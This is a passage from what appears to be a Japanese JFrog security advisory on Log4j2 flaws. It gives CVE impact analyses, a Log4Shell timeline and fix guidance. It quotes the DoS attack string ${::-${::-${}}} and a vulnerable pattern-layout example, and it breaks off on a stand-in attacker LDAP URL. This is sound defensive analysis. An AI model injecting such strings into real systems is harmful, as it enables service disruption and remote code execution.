\u30bf\u30a4\u30d7\u306e\u3044\u305a\u308c\u304b\u306b\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u3067\u3001\u30c1\u30a7\u30c3\u30af\u3092\u56de\u907f\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><code>private static final List permanentAllowedClasses = Arrays.asList(Boolean.class.getName(),<br \/>\nByte.class.getName(), Character.class.getName(), Double.class.getName(), Float.class.getName(),<br \/>\nInteger.class.getName(), Long.class.getName(), Short.class.getName(), String.class.getName());<\/code><\/p>\n<p>\u524d\u8ff0\u306e\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3055\u308c\u305f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u30d0\u30a4\u30d1\u30b9\u3068\u540c\u69d8\u306b\u3001\u3053\u308c\u306f\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3055\u308c\u305f\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u9069\u5207\u306a\u300c\u30ac\u30b8\u30a7\u30c3\u30c8\u300d\u30af\u30e9\u30b9\u304c\u30ed\u30fc\u30ab\u30eb\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u4e2d\u306b\u5b58\u5728\u3059\u308b\u304b\u3069\u3046\u304b\u306b\u4f9d\u5b58\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><span style=\"color: #008000\">\u30e1\u30ea\u30c3\u30c8 \u30fc<\/span> \u65b0\u3057\u3044 Java \u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u52d5\u4f5c\u3059\u308b\uff08<code>trustURLCodebase<\/code> \u304c false \u306e\u5834\u5408\uff09<br \/>\n<span class=\"md-pair-s\"><span style=\"color: red\">\u30c7\u30e1\u30ea\u30c3\u30c8<\/span><\/span> \u30fc \u8106\u5f31\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30af\u30e9\u30b9\u30d1\u30b9\u306b\u300c\u30ac\u30b8\u30a7\u30c3\u30c8\u300d\u30af\u30e9\u30b9\u304c\u5b58\u5728\u3059\u308b\u3053\u3068\u306b\u4f9d\u5b58\u3059\u308b<\/p>\n<h4 id=\"appendix-e\" class=\"md-end-block md-heading md-focus\"><span class=\"md-plain md-expand\">\u4ed8\u9332E\uff1a<\/span><\/h4>\n<h3 class=\"md-end-block md-heading md-focus\"><span class=\"md-plain md-expand\">CVE-2021-45105 \u306e\u5f71\u97ff\u5206\u6790<\/span><\/h3>\n<p>\u6700\u8fd1\u3001Log4j2 \u3078\u306e\u65b0\u305f\u306a\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u306e CVE \u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f &#8211; CVE-2021-45105\u3001CVSS <span class=\"md-pair-s\"><span style=\"color: red\">7.5<\/span><\/span> (AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H)\u3067\u3059\u3002JFrog \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u306f\u3001\u30d0\u30fc\u30b8\u30e7\u30f3 2.16.0 \u306e CVE \u30c7\u30fc\u30bf\u3068\u8a18\u8f09\u5185\u5bb9\u3092\u691c\u8a3c\u3057\u3001CVSS\u3092 <span class=\"md-pair-s\"><span style=\"color: green\">3.7 <\/span><\/span>\uff08AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:L\uff09\u3068\u63a8\u5b9a\u3057\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u4ee5\u4e0b\u306b\u57fa\u3065\u3044\u3066\u3044\u307e\u3059\u3002<\/p>\n<h4>CVE \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u524d\u63d0\u6761\u4ef6<\/h4>\n<p>CVE \u306b\u306f\u660e\u793a\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u304c\u3001\u3053\u306e\u653b\u6483\u306e\u524d\u63d0\u6761\u4ef6\u306f CVE-2021-45046 \u3068\u307e\u3063\u305f\u304f\u540c\u3058\u3067\u3059\u3002\u3064\u307e\u308a\u3001<span style=\"text-decoration: underline\">\u653b\u6483\u8005\u306f\u30d1\u30bf\u30fc\u30f3\u30ec\u30a4\u30a2\u30a6\u30c8\u306e\u3046\u3061\u30e1\u30c3\u30bb\u30fc\u30b8\u4ee5\u5916\u306e\u90e8\u5206\u3092\u5236\u5fa1\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059<\/span>\u3002\u3057\u305f\u304c\u3063\u3066\u3001CVE \u306b\u8a18\u8f09\u3055\u308c\u3066\u3044\u308b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30b1\u30fc\u30b9\uff08\u300c\u30b9\u30ec\u30c3\u30c9 \u30b3\u30f3\u30c6\u30ad\u30b9\u30c8 \u30de\u30c3\u30d7\u3092\u5236\u5fa1\u3059\u308b\u653b\u6483\u8005\u300d\uff09\u306f\u3001\u9069\u7528\u53ef\u80fd\u306a\u30b1\u30fc\u30b9\u306e\uff11\u3064\u306b\u904e\u304e\u307e\u305b\u3093\u3002\u5b9f\u969b\u306b\u306f\u3001\u653b\u6483\u8005\u306f <a href=\"#appendix-c\">\u4ed8\u9332 C<\/a> \u3067\u8a00\u53ca\u3057\u305f\u30c7\u30d5\u30a9\u30eb\u30c8\u4ee5\u5916\u306e\u69cb\u6210\u3092\u6feb\u7528\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u4f8b\u3048\u3070\u3001<code>MapMessage<\/code> \u3092\u542b\u3080\u69cb\u6210\u30d1\u30bf\u30fc\u30f3\u306f\u3001\uff08\u653b\u6483\u8005\u304c\u6c5a\u67d3\u3055\u308c\u305f\u5909\u6570\u3092\u5236\u5fa1\u3057\u3066\u3044\u308b\u9650\u308a\uff09\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306f\u8106\u5f31\u3067\u3059\u3002<\/p>\n<p><code>appender.console.layout.pattern = ${map:tainted} - %-5p %c{1}:%L - %m%n<\/code><\/p>\n<p>JFrog \u306e\u898b\u89e3\u3067\u306f\u3001\u3053\u306e\u3088\u3046\u306a\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u306a\u3044\uff08\u53ef\u80fd\u6027\u306e\u4f4e\u3044\uff09\u8a2d\u5b9a\u304c\u5fc5\u8981\u3068\u306a\u308b\u305f\u3081\u3001\u3053\u306e\u554f\u984c\u306e\u653b\u6483\u306e\u8907\u96d1\u3055\u306f\u300c\u9ad8\u300d\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<h4>DoS \u653b\u6483\u306e\u5f71\u97ff<\/h4>\n<p>\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u653b\u6483\u6587\u5b57\u5217\u00a0 <code>${::-${::-${}}}<\/code> \u3092\u3001\u8106\u5f31\u306a\u8a2d\u5b9a\u306e Log4j2 \u30d0\u30fc\u30b8\u30e7\u30f3 2.16.0 \u3067\u5b9f\u884c\u3059\u308b\u3068\u3001<code>IllegalStateException<\/code> \u304c\u767a\u751f\u3057\u307e\u3059\u3002<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-86496 size-full\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/19143522\/CVE-2021-45105_exception.png\" alt=\"\" width=\"1978\" height=\"329\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/19143522\/CVE-2021-45105_exception.png?speedsize=w_1978 1978w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/19143522\/CVE-2021-45105_exception.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/19143522\/CVE-2021-45105_exception.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/19143522\/CVE-2021-45105_exception.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2021\/12\/19143522\/CVE-2021-45105_exception.png?speedsize=w_1536 1536w\" sizes=\"(max-width: 1978px) 100vw, 1978px\" \/><\/p>\n<p>\u3053\u306e\u6587\u5b57\u5217\u306f\u3001\u904e\u5270\u306aCPU\u3084\u30e1\u30e2\u30ea\u306e\u4f7f\u7528\u3092\u5f15\u304d\u8d77\u3053\u3055\u306a\u3044\u305f\u3081\u3001DoS\u306e\u5f71\u97ff\uff08\u3082\u3057\u3042\u3063\u305f\u3068\u3057\u3066\u3082\uff09\u306f\u3001\u30b7\u30b9\u30c6\u30e0\u5168\u4f53\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3082\u306e\u306b\u306f\u306a\u3089\u306a\u3044\u306f\u305a\u3067\u3059\u3002\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u3001Log4j2 Appenders\u3067\u306f\u4f8b\u5916\u306f\u7121\u8996\u3055\u308c\u308b\u305f\u3081\uff08\u30ed\u30b0\u306b\u8a18\u9332\u3055\u308c\u308b\u306e\u307f\uff09\u3001\u4f8b\u5916\u304c<span style=\"text-decoration: underline\">\u30b5\u30fc\u30d0\u3092\u30af\u30e9\u30c3\u30b7\u30e5\u3055\u305b\u308b\u3053\u3068\u306f\u306a\u304f<\/span>\u3001DoS \u306e\u5f71\u97ff\u306f\u5b8c\u5168\u306b\u8efd\u6e1b\u3055\u308c\u307e\u3059\u3002<\/p>\n<pre class=\"language-java\"><code>private void handleAppenderError(final LogEvent event, final RuntimeException ex) {\r\n    appender.getHandler().error(createErrorMsg(\"An exception occurred processing Appender \"), event, ex);\r\n    if (!appender.ignoreExceptions()) { \/\/ ignoreExceptions=true, by default\r\n        throw ex;\r\n    }\r\n}<\/code><\/pre>\n<h4>\u30aa\u30d5\u30a3\u30b7\u30e3\u30eb\u306a\u4fee\u6b63<\/h4>\n<p>\u3053\u306e\u554f\u984c\u306f\u3001Log4j2 \u3092\u30d0\u30fc\u30b8\u30e7\u30f3 2.17.0 \u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u3067\u4fee\u6b63\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u516c\u5f0f\u306e\u4fee\u6b63\u30d7\u30ed\u30b0\u30e9\u30e0\uff08\u30d0\u30fc\u30b8\u30e7\u30f32.17.0\uff09\u3067\u306f\u3001PoC \u306e\u30a8\u30c3\u30b8\u30b1\u30fc\u30b9\u3092\u51e6\u7406\u3059\u308b\u305f\u3081\u306b<code>StrSubstitutor<\/code>\u306e\u30ed\u30b8\u30c3\u30af\u3092\u5909\u66f4\u3057\u3001\u540c\u69d8\u306e\u5165\u529b\u306b\u76f4\u9762\u3057\u3066\u3082\u4f8b\u5916\u3092\u751f\u3058\u306a\u3044\u3088\u3046\u306b\u3057\u3066\u3044\u307e\u3059\u3002<br \/>\n\u30ec\u30ac\u30b7\u30fc\uff08Java 7\uff09\u30e6\u30fc\u30b6\u5411\u3051\u306b\u306f\u3001\u3053\u306e\u554f\u984c\u3092\u4fee\u6b63\u3057\u305f\u30d0\u30fc\u30b8\u30e7\u30f3 2.12.3 \u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u308b\u3053\u3068\u304c\u793a\u5506\u3055\u308c\u3066\u3044\u307e\u3059\u304c\u3001\u672c\u7a3f\u57f7\u7b46\u6642\u70b9\u3067\u306f\u305d\u306e\u3088\u3046\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u306f\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>&nbsp;<\/p>\n<h4>\u7de9\u548c\u7b56<\/h4>\n<p>\u3053\u306e\u554f\u984c\u306f JNDI \u306b\u95a2\u9023\u3057\u3066\u3044\u306a\u3044\u305f\u3081\u3001\u3053\u308c\u307e\u3067\u8ff0\u3079\u3066\u304d\u305f\u7de9\u548c\u7b56\uff08<code>JNDI \u30eb\u30c3\u30af\u30a2\u30c3\u30d7<\/code>\u30af\u30e9\u30b9\u306e\u524a\u9664\u7b49\uff09\u3067\u306f\u3001\u3053\u306e\u554f\u984c\u3092\u7de9\u548c\u3067\u304d\u307e\u305b\u3093\u3002<\/p>\n<p>\u3053\u306e\u554f\u984c\u3092\u7de9\u548c\u3059\u308b\u305f\u3081\u306b\u306f\u3001\u4f8b\u5916\u304c\u7121\u8996\u3055\u308c\u306a\u3044\u3088\u3046\u306a\u30c7\u30d5\u30a9\u30eb\u30c8\u4ee5\u5916\u306e\u30b1\u30fc\u30b9\u3067\u306f\u3001\u30d9\u30f3\u30c0\u306f\u30ed\u30ae\u30f3\u30b0\u30b3\u30fc\u30c9\u3092\u4f8b\u5916\u30cf\u30f3\u30c9\u30e9\u3067\u30e9\u30c3\u30d7\u3059\u308b\u3053\u3068\u3067\u3001DoS \u306b\u53ca\u3070\u306a\u3044\u3088\u3046\u306b\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"text-decoration: underline\">\u8981\u7d04\u3059\u308b\u3068<\/span>\uff1a\u3053\u306e CVE \u306f\u73fe\u5728\u306e\u3068\u3053\u308d\u3001\u5b9f\u7a3c\u50cd\u4e2d\u306e Web \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u73fe\u5b9f\u7684\u306a\u8105\u5a01\u3092\u3082\u305f\u3089\u3059\u3082\u306e\u3067\u306f\u306a\u3044\u3088\u3046\u3067\u3059\u3002<br \/>\n\u524d\u8ff0\u306e\u3068\u304a\u308a\u3001JFrog \u306b\u3088\u308b CVSS \u63a8\u5b9a\u5024\u306f <span class=\"md-pair-s\"><span style=\"color: green\">3.7 <\/span><\/span>\uff08AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:L\uff09\u3067\u3059\u3002<br \/>\n\u30d9\u30f3\u30c0\u306b\u306f\u30012.16.0 \u306e\u30c7\u30d7\u30ed\u30a4\u30e1\u30f3\u30c8\u3092 2.17.0 \u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u524d\u306b\u3001\u53e4\u3044 Log4j2 \u30922.16.0 \u306b\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u3059\u308b\u3053\u3068\u306b\u6ce8\u529b\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n<p>&nbsp;<\/p>\n<h4 id=\"appendix-f\" class=\"md-end-block md-heading md-focus\"><span class=\"md-plain md-expand\">\u4ed8\u9332F\uff1a<\/span><\/h4>\n<h3 class=\"md-end-block md-heading md-focus\"><span class=\"md-plain md-expand\">Log4Shell \u30bf\u30a4\u30e0\u30e9\u30a4\u30f3<\/span><\/h3>\n<p>2013\/07\/18 \u30fc <a class=\"c-link\" href=\"https:\/\/issues.apache.org\/jira\/browse\/LOG4J2-313\" target=\"_blank\" rel=\"noopener noreferrer\" data-stringify-link=\"https:\/\/issues.apache.org\/jira\/browse\/LOG4J2-313\" data-sk=\"tooltip_parent\" data-remove-tab-index=\"true\">\u8106\u5f31\u306a JNDI \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u6a5f\u80fd<\/a> \u304c\u30b3\u30df\u30c3\u30c8\u3055\u308c\u308b<br \/>\n2021\/11\/24 \u30fc \u30a2\u30ea\u30d0\u30d0\u793e\u306e Chen Zhaojun \u304c Apache \u306b\u8106\u5f31\u6027\u3092\u5831\u544a<br \/>\n2021\/11\/26 \u30fc <a class=\"c-link\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-44228\" target=\"_blank\" rel=\"noopener noreferrer\" data-stringify-link=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-44228\" data-sk=\"tooltip_parent\" data-remove-tab-index=\"true\">CVE-2021-44228<\/a> \u304c MITRE \u306b\u3088\u308a\u30a2\u30b5\u30a4\u30f3\u3055\u308c\u308b<br \/>\n2021\/12\/01 \u30fc \u8106\u5f31\u6027\u306e<a class=\"c-link\" href=\"https:\/\/twitter.com\/eastdakota\/status\/1469800951351427073\" target=\"_blank\" rel=\"noopener noreferrer\" data-stringify-link=\"https:\/\/twitter.com\/eastdakota\/status\/1469800951351427073\" data-sk=\"tooltip_parent\" data-remove-tab-index=\"true\">\u6700\u3082\u65e9\u3044\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30a8\u30d3\u30c7\u30f3\u30b9<\/a> \uff08Cloudflare \u793e\u306b\u3088\u308b\uff09\u304c\u3001\u8106\u5f31\u6027\u8a73\u7d30\u304c\u516c\u8868\u524d\u306b\u6d41\u51fa\u3057\u305f\u3053\u3068\u3092\u793a\u5506<br \/>\n2021\/12\/05 \u30fc Apache \u306e\u958b\u767a\u8005\u304c\u3001\u3053\u306e\u554f\u984c\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306b<a class=\"c-link\" href=\"https:\/\/issues.apache.org\/jira\/browse\/LOG4J2-3201\" target=\"_blank\" rel=\"noopener noreferrer\" data-stringify-link=\"https:\/\/issues.apache.org\/jira\/browse\/LOG4J2-3201\" data-sk=\"tooltip_parent\" data-remove-tab-index=\"true\">\u30d0\u30b0 \u30c1\u30b1\u30c3\u30c8<\/a>\u3092\u4f5c\u6210\u3057\u3001\u30ea\u30ea\u30fc\u30b9\u30d0\u30fc\u30b8\u30e7\u30f3 2.15.0 \u304c\u30bf\u30fc\u30b2\u30c3\u30c8\u30d5\u30a3\u30c3\u30af\u30b9 \u30d0\u30fc\u30b8\u30e7\u30f3\u3068\u3055\u308c\u308b<br \/>\n2021\/12\/09 \u30fc <a class=\"c-link\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-44228\" target=\"_blank\" rel=\"noopener noreferrer\" data-stringify-link=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-44228\" data-sk=\"tooltip_parent\" data-remove-tab-index=\"true\">CVE-2021-44228 \u304c\u516c\u958b\u3055\u308c\u308b<\/a>\uff08Log4Shell \u30aa\u30ea\u30b8\u30ca\u30eb CVE\uff09<br \/>\n2021\/12\/09 \u30fc \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u304c<a class=\"c-link\" href=\"https:\/\/web.archive.org\/web\/20211209143038\/https:\/\/twitter.com\/P0rZ9\/status\/1468949890571337731\" target=\"_blank\" rel=\"noopener noreferrer\" data-stringify-link=\"https:\/\/web.archive.org\/web\/20211209143038\/https:\/\/twitter.com\/P0rZ9\/status\/1468949890571337731\" data-sk=\"tooltip_parent\" data-remove-tab-index=\"true\">\u30bc\u30ed\u30c7\u30a4 \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30b3\u30fc\u30c9\u3092\u30c4\u30a3\u30fc\u30c8<\/a>\u3002\u5f8c\u306b\u305d\u306e\u30c4\u30a3\u30fc\u30c8\u306f\u524a\u9664<br \/>\n2021\/12\/10 \u30fc\u00a0<a class=\"c-link\" href=\"https:\/\/lists.apache.org\/thread\/sm5gh5m0jd7lqbbt8hs27nf28xhphbwb\" target=\"_blank\" rel=\"noopener noreferrer\" data-stringify-link=\"https:\/\/lists.apache.org\/thread\/sm5gh5m0jd7lqbbt8hs27nf28xhphbwb\" data-sk=\"tooltip_parent\" data-remove-tab-index=\"true\">Version 2.15.0 \u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u308b<\/a>\uff08CVE-2021-44228 \u306e\u4fee\u6b63\u7248) \u3002\u30e1\u30c3\u30bb\u30fc\u30b8 \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u6a5f\u80fd\u3092\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u7121\u52b9\u306b\u3057\u3001JNDI \u306e\u64cd\u4f5c\u3067\u306f\u7279\u5b9a\u306e\u30af\u30e9\u30b9\u3068\u30db\u30b9\u30c8\u540d\u306b\u5236\u9650<br \/>\n2021\/12\/10 \u30fc Minecraft \u30b5\u30fc\u30d0\u3078\u306e\u653b\u6483\u3092\u89b3\u5bdf<br \/>\n2021\/12\/13 \u30fc\u00a0<a href=\"https:\/\/lists.apache.org\/thread\/d6v4r6nosxysyq9rvnr779336yf0woz4\">Version 2.16.0 \u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u308b<\/a>\uff08CVE-2021-45046 \u306e\u4fee\u6b63\uff09\u3002\u30e1\u30c3\u30bb\u30fc\u30b8 \u30eb\u30c3\u30af\u30a2\u30c3\u30d7\u6a5f\u80fd\u304c\u5b8c\u5168\u306b\u524a\u9664\u3055\u308c\uff08\u3044\u304b\u306a\u308b\u8a2d\u5b9a\u3067\u3082\u6709\u52b9\u5316\u4e0d\u53ef\uff09\u3001JNDI \u30b5\u30dd\u30fc\u30c8\u304c\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u7121\u52b9\uff08\u6709\u52b9\u5316\u53ef\u80fd\uff09<br \/>\n2021\/12\/14 \u30fc\u00a0<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-45046\">CVE-2021-45046 \u304c\u516c\u958b\u3055\u308c\u308b<\/a>\u3002Log4Shell\u304c\u30c7\u30d5\u30a9\u30eb\u30c8\u4ee5\u5916\u306e\u8a2d\u5b9a\u3067\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u53ef\u80fd\u3067\u3042\u308b\u3053\u3068\u304c\u793a\u3055\u305f\u304c\u3001\u6df1\u523b\u306a\u5f71\u97ff\u306f\u7121\u3057 2021\/12\/15 \u30fc\u00a0<a href=\"https:\/\/lists.apache.org\/thread\/6wbcyg5ttnr7jozgzrgm7m5d65hok8ow\">Version 2.12.2 \u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u308b<\/a>\uff082.16.0 \u3068\u985e\u4f3c\u306e\u4fee\u6b63\uff09\u3002Java 7 \u3078\u306e\u30d0\u30c3\u30af\u30dd\u30fc\u30c8\u5bfe\u5fdc<br \/>\n2021\/12\/16 \u30fc CVE-2021-45046 \u306e CVSS \u304c 9.0 \u306b\u5f15\u304d\u4e0a\u3052\u3089\u308c\u308b\u3002Log4J 2.15.0 \u306e\u30db\u30b9\u30c8\u540d\u3068\u30af\u30e9\u30b9\u306e\u7de9\u548c\u7b56\u306b\u3044\u304f\u3064\u304b\u306e\u30d0\u30a4\u30d1\u30b9\u304c\u767a\u898b\u3055\u308c\u305f\u305f\u3081<br \/>\n2021\/12\/18 \u30fc\u00a0<a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-45046\">CVE-2021-45105 \u304c\u516c\u958b\u3055\u308c\u308b<\/a>\u3002Log4J \u306e\u6587\u5b57\u5217\u7f6e\u63db\u306b\u30de\u30a4\u30ca\u30fc\u306a\u30d0\u30b0\u304c\u3042\u308a\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u4ee5\u5916\u306e\u8a2d\u5b9a\u3067\u306f\u4f8b\u5916\u304c\u767a\u751f\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3053\u3068\u304c\u5224\u660e<br \/>\n2021\/12\/18 \u30fc <a href=\"https:\/\/lists.apache.org\/thread\/vbkzlrmj4wk2tcmcxzvbd21bb1z77b9g\">Version 2.17.0 \u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u308b<\/a>\uff08CVE-2021-45105 \u306e\u4fee\u6b63)\u3002\u6587\u5b57\u5217\u7f6e\u63db\u304c\u518d\u5b9f\u88c5\u3055\u308c\u3001JNDI \u304c\u30ed\u30fc\u30ab\u30eb\u3067\u306e\u307f\u6709\u52b9\u306b<br \/>\n2021\/12\/22 \u30fc\u00a0<a href=\"https:\/\/lists.apache.org\/thread\/cz5djlglosorkk8hnxlvwpd4h36ost28\">Version 2.12.3 \u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u308b<\/a> \uff082.17.0 \u3068\u985e\u4f3c\u306e\u4fee\u6b63)\u3002Java 7 \u3078\u306e\u30d0\u30c3\u30af\u30dd\u30fc\u30c8\u5bfe\u5fdc<br \/>\n2021\/12\/22 \u30fc <a href=\"https:\/\/lists.apache.org\/thread\/kj9hkf22q1n85oz1mnol237p5lyb39pr\">Version 2.3.1 \u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u308b<\/a> \uff082.17.0 \u3068\u985e\u4f3c\u306e\u4fee\u6b63)\u3002Java 6 \u3078\u306e\u30d0\u30c3\u30af\u30dd\u30fc\u30c8\u5bfe\u5fdc<\/p>\n<p>&nbsp;<\/p>\n<h4 id=\"appendix-g\" class=\"md-end-block md-heading md-focus\"><span class=\"md-plain md-expand\">\u4ed8\u9332G\uff1a<\/span><\/h4>\n<h3 class=\"md-end-block md-heading md-focus\"><span class=\"md-plain md-expand\">CVE-2021-44832 \u306e\u5f71\u97ff\u8abf\u67fb<\/span><\/h3>\n<p>Log4j2 2.17.0 \u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8ffd\u52a0\u306e CVE &#8211; <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2021-44832\">CVE-2021-44832<\/a> \u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f\u3002CVSS <span class=\"md-pair-s\"><span style=\"color: orange\">6.6<\/span><\/span> (AV:N\/AC:H\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H) \u3067\u3059\u3002<\/p>\n<p>\u3053\u306eCVE\u306f\u3001Log4j \u306e\u30d0\u30fc\u30b8\u30e7\u30f3 2.17.1\uff08Java 8\uff09\u30012.13.4\uff08Java 7\uff09\u30012.3.2\uff08Java 6\uff09\u3067\u4fee\u6b63\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e CVE \u306f\u3001\u524d\u63d0\u6761\u4ef6\u304c\u975e\u5e38\u306b\u9ad8\u304f\uff08\u5f8c\u8ff0\uff09\u3001\u5b9f\u4e16\u754c\u306e\u30b7\u30b9\u30c6\u30e0\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u53ef\u80fd\u6027\u306f\u4f4e\u3044\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002<\/p>\n<p>\u73fe\u6642\u70b9\u3067\u306f\u3001Log4j2 2.17.0\uff08\u307e\u305f\u306f\u540c\u7b49\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\uff09\u304b\u3089\u306e\u30a2\u30c3\u30d7\u30b0\u30ec\u30fc\u30c9\u306f\u7dca\u6025\u3067\u306f\u306a\u3044\u3068\u8003\u3048\u3066\u3044\u307e\u3059\u3002<\/p>\n<h4>CVE \u306e\u524d\u63d0\u6761\u4ef6<\/h4>\n<p>\u73fe\u6642\u70b9\u3067\u306f\u3001\u653b\u6483\u8005\u304c Log4j \u306e\u8a2d\u5b9a\u30d5\u30a1\u30a4\u30eb\u3092\u76f4\u63a5\u5236\u5fa1\u3067\u304d\u308b\u5834\u5408\u3001\u7279\u306b\u4efb\u610f\u306e\u5c5e\u6027\u3092\u6301\u3064\u300c<a href=\"https:\/\/logging.apache.org\/log4j\/2.x\/manual\/appenders.html#JDBCAppender\">JDBCAppender<\/a>\u300d\u3092\u8ffd\u52a0\u3067\u304d\u308b\u5834\u5408\u306b\u306e\u307f\u3001\u3053\u306e\u8106\u5f31\u6027\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u53ef\u80fd\u3067\u3059\u3002<\/p>\n<p>\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u300cJDBCAppender\u300d\u304c\u305d\u306e <code>DataSource<\/code> \u5c5e\u6027\u306b JNDI \u30c7\u30fc\u30bf\u30bd\u30fc\u30b9\u3092\u53d7\u3051\u5165\u308c\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u767a\u751f\u3057\u307e\u3059\u3002<br \/>\nJNDI \u30c7\u30fc\u30bf\u30bd\u30fc\u30b9\u306b\u30a2\u30af\u30bb\u30b9\u3059\u308b\u969b\u3001\u30ea\u30e2\u30fc\u30c8\u30d7\u30ed\u30c8\u30b3\u30eb\uff08LDAP\u306a\u3069\uff09\u306f\u4f9d\u7136\u3068\u3057\u3066\u5229\u7528\u53ef\u80fd\u306a\u305f\u3081\u3001<code>ldap:\/\/attacker.com:1337<\/code> 